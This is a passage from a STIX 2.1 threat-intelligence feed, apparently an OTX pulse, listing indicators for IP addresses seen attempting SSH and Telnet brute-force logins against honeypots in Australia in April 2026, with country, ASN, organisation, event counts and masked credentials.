      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): r**t, ***, g****b, p******s, s***m. Passwords observed (masked): 1****3, 1***6, B***6, P******d, Q**********!.",
      "id": "indicator--b6909b9c-3988-4c40-9ca8-d26f240611fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.185.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:15:11.000Z",
      "valid_until": "2026-05-27T16:15:09.000Z"
    },
    {
      "created": "2026-04-25T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 51020. Organisation(s): Al-Jazeera Al-Arabiya Company for Communication and Internet LTD.",
      "id": "indicator--7b28ecdc-ab61-4575-a826-256f3933f9ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.77.49.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:15:11.000Z",
      "valid_until": "2026-05-27T16:15:09.000Z"
    },
    {
      "created": "2026-04-25T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268196. Organisation(s): LINKNET SOLUCOES EM TELECOMUNICACOES LTDA. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--6f69d4f2-5072-470e-8f58-9cbfae955fac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.235.124.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T16:15:11.000Z",
      "valid_until": "2026-05-27T16:15:09.000Z"
    },
    {
      "created": "2026-04-25T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--9853f137-ee55-45bb-b65d-1a39884e7979",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.167.253.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T17:15:11.000Z",
      "valid_until": "2026-05-27T17:15:08.000Z"
    },
    {
      "created": "2026-04-25T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 39608. Organisation(s): Lanet Network Ltd.",
      "id": "indicator--b2660d5b-b2f8-4ffa-a03b-be9916f22638",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.36.240.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T17:15:11.000Z",
      "valid_until": "2026-05-27T17:15:08.000Z"
    },
    {
      "created": "2026-04-25T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd. Usernames observed (masked): r**t, u****u, u***1, 3**********4, a**o. Passwords observed (masked): 1****4, 3***********4, 3**********4, A*********0, A*******..",
      "id": "indicator--8e1afb5c-a801-4405-9b62-ae24559192c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.99.189.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T17:15:11.000Z",
      "valid_until": "2026-05-27T17:15:08.000Z"
    },
    {
      "created": "2026-04-25T18:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--61f5dfe7-f235-4b86-aa7b-7038b2e35661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T18:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.141.244.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T18:15:06.000Z",
      "valid_until": "2026-05-27T18:15:03.000Z"
    },
    {
      "created": "2026-04-25T18:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--e307d726-06ed-477c-8365-8cab60e2a728",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T18:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.13.117.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T18:15:06.000Z",
      "valid_until": "2026-05-27T18:15:03.000Z"
    },
    {
      "created": "2026-04-25T18:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--66306cc4-c42c-4a1b-89ad-d9bdb441660e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T18:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.59.118.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T18:15:06.000Z",
      "valid_until": "2026-05-27T18:15:03.000Z"
    },
    {
      "created": "2026-04-25T18:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--8b1480c0-7c09-411b-8ff0-aab08fc33cf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T18:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.185.144.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T18:15:06.000Z",
      "valid_until": "2026-05-27T18:15:03.000Z"
    },
    {
      "created": "2026-04-25T18:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 171. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network. Usernames observed (masked): r**t, ***, 3**********4, d******1, d**1. Passwords observed (masked): 1******8, 3***********4, 3**********4, 6***6, N****!.",
      "id": "indicator--18c73ae4-747e-497d-a13f-ef25a7239e75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T18:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.29.124.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T18:15:06.000Z",
      "valid_until": "2026-05-27T18:15:03.000Z"
    },
    {
      "created": "2026-04-25T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd. Usernames observed (masked): t******r. Passwords observed (masked): t**********3.",
      "id": "indicator--362952dc-874f-4067-972b-5502de62eb8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.249.84.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:15:05.000Z",
      "valid_until": "2026-05-27T19:15:03.000Z"
    },
    {
      "created": "2026-04-25T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a. Passwords observed (masked): ***, ***, s****a.",
      "id": "indicator--0d49c8cd-f4ca-4bfb-8e28-f52c1e670cd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.170.25.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:15:05.000Z",
      "valid_until": "2026-05-27T19:15:03.000Z"
    },
    {
      "created": "2026-04-25T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, ***, v*******r. Passwords observed (masked): 1****6, ***, s****a, v*******r.",
      "id": "indicator--42fc0b1f-2df2-4d67-b987-c32d1382f9e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.243.116.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:15:05.000Z",
      "valid_until": "2026-05-27T19:15:03.000Z"
    },
    {
      "created": "2026-04-25T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n**e, **, v*******r. Passwords observed (masked): 1****6, n**e, v*******r.",
      "id": "indicator--f831f5bd-de9b-468c-94be-6abee8a67577",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.245.166.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:15:05.000Z",
      "valid_until": "2026-05-27T19:15:03.000Z"
    },
    {
      "created": "2026-04-25T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--52ce7fb1-f479-49be-a357-0464574b6198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.92.84.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T19:15:05.000Z",
      "valid_until": "2026-05-27T19:15:03.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Ani Network Pvt Ltd.",
      "id": "indicator--bd304c65-6b21-4037-9154-57ba5296fd6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.170.85.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f10c4a72-e9aa-47e7-8fad-6c23ac00f5aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.22.218.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): l*******r, i****s, s****e, t**t. Passwords observed (masked): 1****6, i****s, s****s, s****e, t******3.",
      "id": "indicator--b204242f-73a5-4842-8de4-87d9d93d38ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.172.58.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 200651. Organisation(s): FlokiNET ehf.",
      "id": "indicator--579fa1c7-0475-401b-9323-47f01b7948c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.246.188.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7330c72d-a585-4b4d-848a-f43b86826036",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, e******m, s**v. Passwords observed (masked): *, 1****6, 1******8, 1********0, e******m.",
      "id": "indicator--e66318bd-fdba-4b6e-a4b4-f89421ebc251",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.70.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB.",
      "id": "indicator--602a8ee9-292c-49fd-b5f5-32bf3a9e74fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--c352baca-761d-4faf-8fd7-42bfb0cf9e49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '88.179.38.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T20:15:11.000Z",
      "valid_until": "2026-05-27T20:15:08.000Z"
    },
    {
      "created": "2026-04-25T21:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9569. Organisation(s): SEOCHO CABLE SYSTEMS CO., LTD..",
      "id": "indicator--51a69c26-e49d-4d44-9cab-ef8279e55986",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T21:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.222.180.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T21:15:09.000Z",
      "valid_until": "2026-05-27T21:15:03.000Z"
    },
    {
      "created": "2026-04-25T21:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 15704. Organisation(s): Xtra Telecom S.A..",
      "id": "indicator--167f8388-2afd-488d-9249-321006d6e9c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T21:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.188.174.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T21:15:09.000Z",
      "valid_until": "2026-05-27T21:15:03.000Z"
    },
    {
      "created": "2026-04-25T21:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): s***m, 3**********4, c***r, d****y, d*****r. Passwords observed (masked): 1****1, 1**4, 1****6, 1******r, 3***********4.",
      "id": "indicator--52fd5203-7bb9-4def-9b14-9bbe516e2d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T21:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.75.194.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T21:15:09.000Z",
      "valid_until": "2026-05-27T21:15:03.000Z"
    },
    {
      "created": "2026-04-25T21:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC. Usernames observed (masked): r**t, f*****r, s******n, t**t, 3**********4. Passwords observed (masked): *, 1****6, 1*******A, 1*******d, 1******x.",
      "id": "indicator--3005d7b5-0a97-4d72-9416-bab8f95504f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T21:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.23.173.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T21:15:09.000Z",
      "valid_until": "2026-05-27T21:15:03.000Z"
    },
    {
      "created": "2026-04-25T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--cb2bdc26-a574-4fa5-b18b-1bf2600a235c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '153.205.25.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T22:15:11.000Z",
      "valid_until": "2026-05-27T22:15:09.000Z"
    },
    {
      "created": "2026-04-25T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 245. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 15830. Organisation(s): Equinix (EMEA) Acquisition Enterprises B.V.. Usernames observed (masked): r**t, ***, t**t, c****e, u**r. Passwords observed (masked): A*******., n********0, 0****0, 1**4, 1****6.",
      "id": "indicator--fdfdc51f-35c7-4887-83b7-93c9ecf1b6d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.155.66.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T22:15:11.000Z",
      "valid_until": "2026-05-27T22:15:09.000Z"
    },
    {
      "created": "2026-04-25T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--888b5435-621a-43fe-a8ad-a7a6f2dd6193",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.76.24.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T22:15:11.000Z",
      "valid_until": "2026-05-27T22:15:09.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): r**t. Passwords observed (masked): n********0.",
      "id": "indicator--2210939b-82e9-4ea5-b1e4-0f27ed8af4fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 42926. Organisation(s): Radore Veri Merkezi Hizmetleri A.S.. Usernames observed (masked): u**r. Passwords observed (masked): p************6.",
      "id": "indicator--a2f9f849-48e4-4f59-8d8e-c1ee66218832",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.53.96.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4, s***m. Passwords observed (masked): 1*********E, 3***********4, 3**********4, A********., B********1.",
      "id": "indicator--64c3ae97-2ebd-41a4-9e70-4a9f31b89c48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-25T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.212.147.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T23:15:10.000Z",
      "valid_until": "2026-05-27T23:15:08.000Z"
    },
    {
      "created": "2026-04-25T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): f*****r, o**o, r**t. Passwords observed (masked): O***#, a*******l, r*****!.",
      "id": "indicator--cb4f1638-6b37-4d10-92bf-f783a6697636",
